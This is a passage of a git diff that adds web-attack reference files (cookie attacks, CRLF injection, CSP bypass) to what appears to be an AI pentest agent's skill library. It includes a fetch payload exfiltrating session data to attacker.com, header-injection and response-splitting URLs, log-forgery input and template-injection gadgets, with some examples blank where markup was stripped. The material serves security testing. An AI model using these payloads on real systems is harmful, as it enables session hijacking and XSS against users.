(top-level GET)
+# window.location = "https://target.com/action"
+```
+
+## HttpOnly Bypass via XSS (if already have XSS)
+```
+# HttpOnly prevents document.cookie access
+# But: XMLHttpRequest / fetch includes HttpOnly cookies
+# Can exfiltrate via CSRF request that sends response to attacker
+
+fetch('/api/session-info').then(r=>r.text()).then(d=>fetch('https://attacker.com/'+btoa(d)))
+
+# Or: trace XSS → force authenticated request → capture response
+```
+
+## JWT in Cookies
+```
+# If JWT stored in cookie: JWT attacks apply
+# Combine with cookie injection to replace JWT
+# See jwt.md
+```
+
+## Cookie Scope Analysis
+```
+# Map cookie domains and paths:
+# domain=.target.com → sent to all subdomains
+# path=/ → sent to all paths
+# path=/api/ → sent only to /api/ paths
+
+# Test: can you access cookie-restricted paths?
+# Test: does setting domain= explicitly weaken security?
+```
+
+## Testing Methodology
+1. Capture all Set-Cookie headers across the application
+2. Analyze each cookie's attributes (Secure, HttpOnly, SameSite, Domain, Path)
+3. Check if session ID regenerates after login (session fixation)
+4. Test cookie injection via CRLF
+5. Test cookie tossing if subdomain access available
+6. Test SameSite bypasses for CSRF
+7. Check cookie prefix implementation
+8. Look for sensitive data stored in cookies (decode Base64, JWT)
diff --git a/strix/skills/vulnerabilities/crlf_injection.md b/strix/skills/vulnerabilities/crlf_injection.md
new file mode 100644
index 00000000..ee49ff80
--- /dev/null
+++ b/strix/skills/vulnerabilities/crlf_injection.md
@@ -0,0 +1,101 @@
+# CRLF Injection
+
+## Overview
+Carriage Return Line Feed (\r\n) injection into HTTP headers to split responses, inject headers, or achieve XSS via header-based injection.
+
+## CRLF Characters
+```
+\r\n = %0d%0a = CR + LF
+\n = %0a = LF only (often sufficient)
+\r = %0d
+```
+
+## Header Injection
+```
+# Inject into URL parameter reflected in Location/Set-Cookie
+GET /redirect?url=https://target.com%0d%0aSet-Cookie:session=hijacked
+
+# Inject new headers
+GET /page?lang=en%0d%0aX-Injected:value%0d%0a
+
+# Inject into existing header value
+GET /page
+Host: target.com%0d%0aX-Forwarded-For:127.0.0.1
+```
+
+## HTTP Response Splitting
+```
+# Inject \r\n\r\n to split response body
+GET /redirect?url=https://evil.com%0d%0a%0d%0a
+
+# Full response splitting:
+%0d%0aContent-Type:text/html%0d%0a%0d%0a
+
+# In Location header:
+Location: https://target.com%0d%0aContent-Type:text/html%0d%0a%0d%0aHacked
+```
+
+## XSS via CRLF
+```
+# Inject script via Set-Cookie
+GET /set-lang?lang=en%0d%0aSet-Cookie:lang=
+
+# Header injection leading to XSS
+%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a
+```
+
+## Log Injection
+```
+# Inject into log-destined parameters
+username=admin%0aINFO: Login successful for admin
+# Creates false log entry
+```
+
+## Common Injection Points
+```
+# Redirect URLs
+/redirect?to=https://target.com
+/login?next=/dashboard
+
+# Language/locale parameters
+?lang=en
+?locale=en-US
+
+# Callback URLs
+?callback=https://target.com/cb
+
+# Any parameter reflected in headers (Location, Set-Cookie, etc.)
+```
+
+## Encoding Variations
+```
+%0d%0a → \r\n (standard)
+%0a → \n (LF only — may work)
+%0d → \r
+%E5%98%8A%E5%98%8D → Unicode CRLF (\u560a\u560d)
+\r\n → literal (in some contexts)
+\n → literal
+```
+
+## Testing Methodology
+1. Find parameters reflected in response headers
+2. Test with %0d%0a followed by a new header
+3. Check response for injected header
+4. Test %0a alone if %0d%0a is filtered
+5. Try Unicode variants
+6. Attempt response splitting (inject double CRLF + body)
+7. Test log injection if input goes to logs
+
+## Vulnerable Contexts
+- Redirect parameters (Location header)
+- Cookie setting endpoints
+- Language/locale selection
+- User profile fields reflected in headers
+- API responses setting headers from user input
+
+## Impact
+- XSS via response body injection
+- Session fixation via Set-Cookie injection
+- Cache poisoning via injected Cache-Control
+- Log forgery
+- Header injection for downstream processing abuse
diff --git a/strix/skills/vulnerabilities/csp_bypass.md b/strix/skills/vulnerabilities/csp_bypass.md
new file mode 100644
index 00000000..ac784c67
--- /dev/null
+++ b/strix/skills/vulnerabilities/csp_bypass.md
@@ -0,0 +1,145 @@
+# CSP (Content Security Policy) Bypass
+
+## Overview
+Techniques to bypass Content-Security-Policy headers that are intended to prevent XSS and data injection attacks.
+
+## Analyzing CSP
+```
+# Read CSP from response headers:
+Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.target.com; ...
+
+# Or from meta tag:
+
+
+# Evaluate with: https://csp-evaluator.withgoogle.com
+```
+
+## Wildcard / Overly Permissive Directives
+```
+# Wildcard source
+script-src * → can load script from anywhere
+script-src https: → any HTTPS source
+script-src http: → any HTTP source
+
+# Missing directives fall back to default-src
+# If object-src not set → falls back to default-src
+
+# 'unsafe-inline' present → direct inline XSS works
+# 'unsafe-eval' present → eval() / setTimeout("string") works
+```
+
+## JSONP Bypass
+```
+# If trusted domain has JSONP endpoint:
+Content-Security-Policy: script-src https://trusted.com
+
+# JSONP endpoint: https://trusted.com/api?callback=alert(1)
+# Inject:
+```
+
+## Angular / Framework Bypass
+```
+# If Angular/Vue/React allowed in script-src:
+# Angular template injection
+{{constructor.constructor('alert(1)')()}}
+click
+
+# Angular CDN
+script-src ajax.googleapis.com → AngularJS gadget works
+
+{{constructor.constructor('alert(1)')()}}
+```
+
+## base-uri Bypass
+```
+# If base-uri not set or 'unsafe' → can inject tag
+# Change base URL to redirect all relative URLs
+
+# Then:
+```
+
+## Nonce Bypass
+```
+# Nonce should be random per request
+# If nonce is predictable/reused → bypass
+
+# If nonce reflected in page from user input:
+# Inject:
+
+# If nonce in URL (e.g., via meta refresh):
+# Steal via cache or timing
+```
+
+## Hash-Based CSP
+```
+# 'sha256-' allows specific scripts
+# If hash covers dynamic content → may be exploitable
+
+# Test: change whitelisted script content slightly
+# If hash validation weak → bypass
+```
+
+## script-src 'strict-dynamic'
+```
+# 'strict-dynamic' trusts scripts loaded by trusted scripts
+# If trusted script loads user-controlled URL → bypass
+
+# Visit: /page#https://attacker.com/evil.js
+```
+
+## iframe sandbox Bypass
+```
+# sandbox attribute on iframe restricts CSP scope
+# If allow-scripts present in sandbox → scripts run
+# parent CSP may not apply inside sandboxed iframe
+```
+
+## Object/Embed Bypass
+```
+# If object-src not restricted:
+